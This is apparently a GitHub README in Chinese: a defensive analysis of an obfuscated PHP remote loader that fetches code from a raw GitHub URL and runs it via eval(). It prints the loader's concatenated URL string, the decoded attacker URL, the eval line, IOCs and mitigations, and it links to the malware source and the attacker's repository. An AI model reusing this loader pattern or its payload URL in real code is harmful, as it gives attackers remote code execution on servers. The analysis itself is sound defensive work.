securi3ytalent/Malware-Analysis

GitHub: securi3ytalent/Malware-Analysis

一份针对PHP混淆远程加载器的完整恶意软件分析报告,涵盖技术剖析、IOC指标、检测挑战及缓解建议。

Stars: 0 | Forks: 0

## PHP 恶意软件分析:利用 GitHub 的混淆远程加载器 ![VirusTotal PHP 恶意软件分析](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/e62438f24e124519.png) ### 执行摘要 下面分析的 PHP 脚本是一个恶意远程加载器(dropper),旨在从外部源获取并执行攻击者控制的 PHP 代码。虽然本地文件看起来很小且无害,但它使宿主服务器具备完整的远程代码执行 (RCE) 能力。 ***此恶意软件依赖于:*** - 高强度的字符串混淆 - 环境能力检查 - 滥用受信任的基础设施 (GitHub 原始内容) - 通过 eval() 进行动态执行 一旦部署,服务器实际上已处于攻击者的控制之下。 ### 威胁分类 | 类别 | 值 | | ---------------- | ------------------------------ | | 恶意软件类型 | PHP 加载器 / Webshell 投递器 | | 载荷位置 | 远程 (GitHub) | | 执行方法 | `eval()` | | 混淆 | 字符串拼接 | | 持久化 | 外部 / 受攻击者控制 | | 严重程度 | **严重** | ![PHP 恶意软件分析](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/ac9d64fb98124520.png) ### 代码概述 乍一看,该文件: - 逐个字符构建隐藏的 URL - 确定获取远程内容的最佳方法 - 下载远程 PHP 载荷 - 直接在内存中执行 实际的恶意逻辑不存在于本地——它是在运行时检索的。 ### 技术分析 ***1. URL 混淆*** ``` $_u = 'h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' . 'r' . 'a' . 'w' . '.' . 'g' . 'i' . 't' . 'h' . 'u' . 'b' . 'u' . 's' . 'e' . 'r' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '.' . 'c' . 'o' . 'm' . '/' . 'i' . 'n' . 'd' . 'o' . 'c' . 's' . 'e' . 'c' . '/' . 'f' . 'u' . 'c' . 'k' . '/' . 'r' . 'e' . 'f' . 's' . '/' . 'h' . 'e' . 'a' . 'd' . 's' . '/' . 'm' . 'a' . 'i' . 'n' . '/' . 'v' . '8' . '.' . 'p' . 'h' . 'p'; ``` ### ⚠️ 混淆恶意代码 [点击此处查看恶意软件混淆源代码 (backup4.php)](backup4.php) ***解码后的 URL:*** ``` https://raw.githubusercontent.com/indocsec/fuck/refs/heads/main/v8.php ``` ### ⚠️ 恶意代码 [点击此处查看恶意软件源代码 (v8.php)](v8.php) ***为什么这很重要:*** - 避免基于特征的检测 - 防止通过静态扫描轻易发现 - 向管理员隐藏恶意意图 ***使用 GitHub 原始内容允许攻击者:*** - 混迹于合法流量中 - 立即更新载荷 - 绕过基于信誉的过滤器 ***2. 安全控制绕过(环境检查)*** ``` ini_get('allow_url_fopen') function_exists('curl_init') ``` 恶意软件根据服务器配置动态选择最可靠的数据窃取方法。 ***回退逻辑:*** - 如果启用了 ``allow_url_fopen``,则使用 ``file_get_contents()`` - 如果禁用了直接文件访问,则使用 ``cURL`` 这显著提高了在共享主机环境中的成功率。 ***3. 载荷检索*** 这两种方法都会静默下载攻击者控制的 PHP 代码。 主要特征: - 无需用户输入 - 不写入磁盘文件 - 不验证下载的内容 - 超时时间短,以避免引起怀疑 这使得通过文件监控进行检测变得困难。 ***4. 任意代码执行*** ``` eval('?>' . call_user_func($_b64, base64_encode($_out))); ``` 这是核心恶意行为。 尽管载荷经过了短暂的 base64 编码和解码(技术上是一个无意义的步骤),但结果是: **以完整的服务器权限执行任意 PHP 代码** 影响包括: - Webshell 部署 - 数据库访问 - 凭据盗窃 - 托管垃圾邮件或钓鱼内容 - 横向移动 ***5. 欺骗性错误处理*** ``` echo 'Gagal load'; ``` “Gagal load” 翻译为“加载失败”(印尼语)。 这是故意的: - 看起来像是一个损坏的插件或备份 - 降低管理员的怀疑 - 延迟调查 ### 入侵指标 (IOC) ***可疑的 PHP 模式*** - 使用 'a'.'b'.'c' 的混淆字符串 - 带有远程内容的 eval() - 用于常见函数的 call_user_func() - 函数名的动态构造 - PHP 内部的 GitHub 原始 URL **行为指标** - 意外的出站 HTTP(S) 请求 - 发起网络流量的 PHP 进程 - 命名为 `backup, cache, old, tmp` 的新 PHP 文件 ### 检测挑战 此恶意软件通常显示出较低的防病毒检测率,因为: - 本地不存在静态载荷 - 真正的恶意软件是在运行时获取的 - 许多扫描程序不模拟 PHP 执行 - GitHub 是一个受信任的域 单一启发式检测是预期结果,并不令人放心。 ## 缓解与响应 ### 立即采取的行动 - **立即删除该文件** - **假设服务器已完全沦陷** - **轮换所有凭据**,包括: - 数据库用户名和密码 - FTP / SFTP 凭据 - SSH 密钥和密码 - **检查 Web 服务器日志**,查找可疑的出站 HTTP/HTTPS 连接 - **在整个代码库中搜索类似的混淆模式**(字符串拼接、`eval()`、`call_user_func()`) ### 加固建议 - 在 `php.ini` 中禁用 `allow_url_fopen` - 限制或完全禁用 `eval()` 的使用 - 强制执行 `open_basedir` 限制 - 监控来自 Web 服务器的出站网络流量 - 部署 **文件完整性监控 (FIM)** 以检测未经授权的文件更改 ## 为什么此恶意软件有效 - 磁盘占用极小 - 服务器上未存储本地载荷 - 滥用受信任的基础设施(例如,GitHub 原始内容) - 简单但高度可靠的执行逻辑 - 在低成本的共享主机环境中非常有效 ## 📌 黑客账户 / 工具仓库 ***查看此 GitHub 仓库:*** 🔗 [点击此处查看黑客账户 / 工具仓库](https://github.com/indocsec/fuck)
标签:DAST, DNS 反向解析, DNS通配符暴力破解, Dropper, eval后门, ffuf, GitHub滥用, IP 地址批量处理, PHP恶意软件, RCE, Webshell, Web安全, 代码混淆, 动态执行, 可信基础设施滥用, 威胁情报, 字符串拼接混淆, 开发者工具, 恶意软件分析, 编程工具, 网页分析工具, 蓝队分析, 运行时注入, 远程代码执行, 远程加载器, 防御加固